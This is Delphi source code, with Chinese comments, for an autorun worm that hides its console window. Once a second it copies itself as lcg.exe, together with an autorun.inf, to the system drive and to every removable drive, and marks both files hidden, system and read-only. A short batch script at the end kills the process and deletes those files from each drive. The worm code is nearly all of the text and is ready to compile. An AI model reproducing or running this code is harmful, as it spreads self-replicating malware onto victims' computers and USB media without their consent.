program Project1; {$APPTYPE CONSOLE} uses windows, Tlhelp32, SysUtils; //===========================获得系统目录======================================= function GetWinDir: string; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)] <> '\' then Result := Result + '\'; end; //================================end=========================================== //=======================复制文件========begin================================== procedure copyfilecopyfile; var s,s1,s2,s3:string; i:char; inf:textfile; begin //========================创建autorun.inf文件=================================== begin s:=ExpandFileName(ParamStr(0)); //获取本程序的完整路径 s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf'; FileSetAttr(s,0); FileSetAttr(s1,0); assignfile(inf, 'Autorun.inf'); rewrite(inf); writeln(inf, '[AutoRun]'); writeln(inf, ''); writeln(inf, 'open=lcg.exe'); writeln(inf, 'shell\open=打开(&O)'); writeLn(inf, 'shell\open\Command=lcg.exe'); writeln(inf, 'shell\open\Default=1'); writeln(inf, 'shell\explore=资源管理器(&X)'); writeln(inf, 'shell\explore\Command=lcg.EXE'); closefile(inf); end; //=====================================end====================================== //=============================将文件复制到系统盘符下=========================== s2:=copy(getwindir,1,1); s3:=pchar(s2+':\autorun.inf'); s2:=pchar(s2+':\lcg.exe'); copyfile(pchar(s),pchar(s2),false); copyfile(pchar(s1),pchar(s3),false); FileSetAttr(s2,7); FileSetAttr(s3,7); //==================================end========================================= //=============================将文件复制到可移动磁盘=========================== for i:='C' to 'Z' do if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then begin s2:=i; s3:=pchar(i+':\autorun.inf'); s2:=pchar(s2+':\lcg.exe'); copyfile(pchar(s),pchar(s2),false); copyfile(pchar(s1),pchar(s3),false); FileSetAttr(s2,7); FileSetAttr(s3,7); end; //================================end=========================================== end; var win: longint; msg: Tmsg; begin win := getforegroundwindow; //获取当前窗体的句柄 showwindow(win, SW_HIDE); //隐藏窗体 SetTimer(0, 10, 1000, @copyfilecopyfile); //定时间器,一秒钟扫描一次 //WinexEc(pchar('copybat.bat'), SW_Hide); //这里是隐藏控制台 while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg); KillTimer(0, 10); end.
删除病毒的批处理:
@echo off taskkill /f /im lcg.exe cd\ for /d %%i in (C,d,,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do attrib -s -a -r -h %%i:\autorun.inf&attrib -s -a -r -h %%i:\lcg.exe& del %%i:\lcg.exe&del %%i:\autorun.inf